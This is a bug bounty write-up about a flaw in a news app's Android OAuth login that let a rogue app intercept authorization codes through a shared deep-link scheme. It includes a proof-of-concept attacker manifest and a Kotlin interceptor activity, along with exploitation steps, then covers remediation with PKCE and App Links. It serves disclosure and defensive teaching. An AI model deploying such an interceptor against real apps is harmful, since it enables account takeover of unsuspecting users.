How a News App Leaked OAuth Codes: A Real-World Interception Story
Mobile applications are increasingly becoming the primary access point for online services, making their security paramount. Despite the robust security measures built into modern mobile platforms, vulnerabilities can still emerge, especially in the implementation of authentication mechanisms. In this writeup, I'll share my discovery of a critical vulnerability in a news application's Android version that allowed malicious apps to intercept OAuth authorization codes during the login process.
Understanding the Vulnerability Context
OAuth is a widely-used authorization framework that enables third-party applications to access user accounts without exposing credentials. In mobile applications, this typically involves redirecting users to a web view for authentication and then back to the application upon successful login. If this redirection mechanism is improperly implemented, it can potentially allow attackers to intercept sensitive authentication tokens.
The vulnerability I discovered in the news application existed due to two critical issues:
- Exported authentication activities in the Android manifest
- Insecure handling of deep links in the OAuth flow
These issues combined could allow a malicious application to intercept the OAuth authorization code when a user completes the login process, potentially leading to unauthorized access to the user's account.
Technical Analysis
Vulnerable Components
After examining the application's manifest file, I discovered that the RedirectActivity, responsible for handling OAuth callbacks, was exported and accessible to other applications on the device:
<activity
android:name="com.auth0.android.provider.RedirectActivity"
android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="@string/auth0_scheme_french"
android:host="@string/auth0_domain_production"
android:pathPrefix="/android/com.newsplus.reader/callback"/>
</intent-filter>
</activity>
Additionally, I analyzed the RedirectActivity implementation to understand how it processes OAuth callbacks:
public final class RedirectActivity extends Activity {
@Override // android.app.Activity
public void onCreate(Bundle savedInstanceBundle) {
super.onCreate(savedInstanceBundle);
Intent intent = new Intent(this, (Class<?>) AuthenticationActivity.class);
intent.addFlags(603979776);
if (getIntent() != null) {
intent.setData(getIntent().getData());
}
startActivity(intent);
finish();
}
}
This code revealed that the activity simply forwards any received intent data to the AuthenticationActivity. When processing an OAuth callback, this data would include the authorization code. The problem lies in how Android handles intents for exported activities with matching intent filters.
The Attack Vector
When a user completes authentication through the OAuth flow, the browser or WebView attempts to redirect to a URL with the following format:
newsapp://login.auth-domain.com/android/com.newsplus.reader/callback?code=AUTHORIZATION_CODE
Android's intent resolution system will display an app chooser if multiple applications on the device claim to handle this URL scheme. A malicious application could register to handle the same URL pattern, giving it the opportunity to intercept the authorization code if the user selects it from the chooser dialog.
Proof of Concept Exploitation
To demonstrate this vulnerability, I developed a proof-of-concept application that registers to handle the same deep link pattern as the vulnerable news app.
Attacker's Manifest Configuration
<activity
android:name=".CallbackInterceptorActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:host="login.auth-domain.com"
android:scheme="newsapp"
android:pathPrefix="/android/com.newsplus.reader/callback" />
</intent-filter>
</activity>
Malicious Activity Implementation
package com.example.app
import android.content.Intent
import android.net.Uri
import android.os.Bundle
import android.util.Log
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
class CallbackInterceptorActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_callback_interceptor)
val textViewUrl: TextView = findViewById(R.id.textViewUrl)
// Get the incoming intent
val intent: Intent? = intent
val data: Uri? = intent?.data
if (data != null) {
// Display the full URL in the TextView
val fullUrl = data.toString()
textViewUrl.text = "Intercepted URL:\n$fullUrl"
Log.d("CallbackInterceptor", "URL intercepted: $fullUrl")
} else {
textViewUrl.text = "No URL intercepted."
Log.d("CallbackInterceptor", "No URL intercepted.")
}
}
}
- Install both the target news application and the malicious PoC application on the same device
- Open the news application and initiate the login process
- Complete the authentication flow through the WebView
- When the WebView redirects to the callback URL, Android displays an app chooser dialog
- If the user selects the malicious app from the chooser, it receives the full callback URL containing the authorization code
- The attacker can extract the code from the URL and use it to gain access to the user's account
Visualization of the OAuth flow and exploitation scenario
Impact Analysis
If successfully exploited, this vulnerability could lead to:
- Unauthorized access to user accounts in the news application
- Complete account takeover, allowing attackers to read personalized news, access saved articles, and potentially view subscription information
- Access to user profile data that may be synchronized with the account
While this attack has a few mitigating factors that reduce its severity—namely, it requires user interaction to select the malicious app from the chooser dialog and physical access to the device—it still represents a significant security risk, especially for high-profile users who might be targeted specifically.
Remediation Strategies
I recommended several approaches to fix this vulnerability, listed in order of effectiveness:
1. Implement PKCE (Proof Key for Code Exchange)
The most effective solution is to implement the PKCE extension to the OAuth flow. PKCE adds a code verifier that is created by the client app and verified by the authorization server, making the authorization code useless without the corresponding verifier.
// Generate a secure random code verifier
val codeVerifier = PKCEUtil.generateCodeVerifier()
// Generate the code challenge from the verifier
val codeChallenge = PKCEUtil.generateCodeChallenge(codeVerifier)
// Include the code challenge in the authorization request
val authRequestUri = Uri.parse("https://auth-domain.com/authorize")
.buildUpon()
.appendQueryParameter("client_id", "CLIENT_ID")
.appendQueryParameter("response_type", "code")
.appendQueryParameter("redirect_uri", "newsapp://callback")
.appendQueryParameter("code_challenge", codeChallenge)
.appendQueryParameter("code_challenge_method", "S256")
.build()
2. Add Certificate Pinning and App Link Verification
Using Android App Links with domain verification significantly increases security by ensuring that only the legitimate app can handle the deep links without showing a chooser dialog:
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="https"
android:host="login.news-app.com"
android:pathPattern="/callback" />
</intent-filter>
This requires hosting an assetlinks.json file on the domain to verify ownership and establish the association between the website and the app.
3. Implement Runtime Package Validation
Additionally, the app should validate the calling package at runtime before processing any sensitive callbacks:
private fun validateCallingPackage(): Boolean {
val callingPackage = callingActivity?.packageName ?: return false
return callingPackage == "com.legitimate.newsapp" || callingPackage.startsWith("com.android.browser")
}
4. Add User Notifications
As an additional layer of security, the app should notify users about new logins or suspicious activities associated with their accounts.
Resolution and Reward
After submitting this vulnerability report through the company's bug bounty program, the development team acknowledged the issue and implemented the recommended fixes in their next application update. The main changes they made were:
- Implementing PKCE for all OAuth flows
- Setting up proper App Links verification
- Adding runtime package validation for all redirect handling
For this discovery, I was awarded a bounty of REDACTED. While the monetary reward was modest, the real value came from knowing that thousands of users now have a more secure authentication experience when using the news application.
Conclusion
This case study highlights the importance of properly implementing OAuth authentication flows in mobile applications. Even well-established apps can have vulnerabilities in their authentication mechanisms that could lead to account compromise.
For developers building OAuth-based authentication in mobile applications, this serves as a reminder to:
- Always implement PKCE for authorization code flows
- Properly configure Android App Links with domain verification
- Avoid exporting sensitive activities unnecessarily
- Add multiple layers of validation to protect against various attack vectors
As mobile apps continue to evolve and handle increasingly sensitive user data, these security considerations will only become more critical. By sharing these findings, I hope to contribute to the improvement of security practices across the mobile app development community.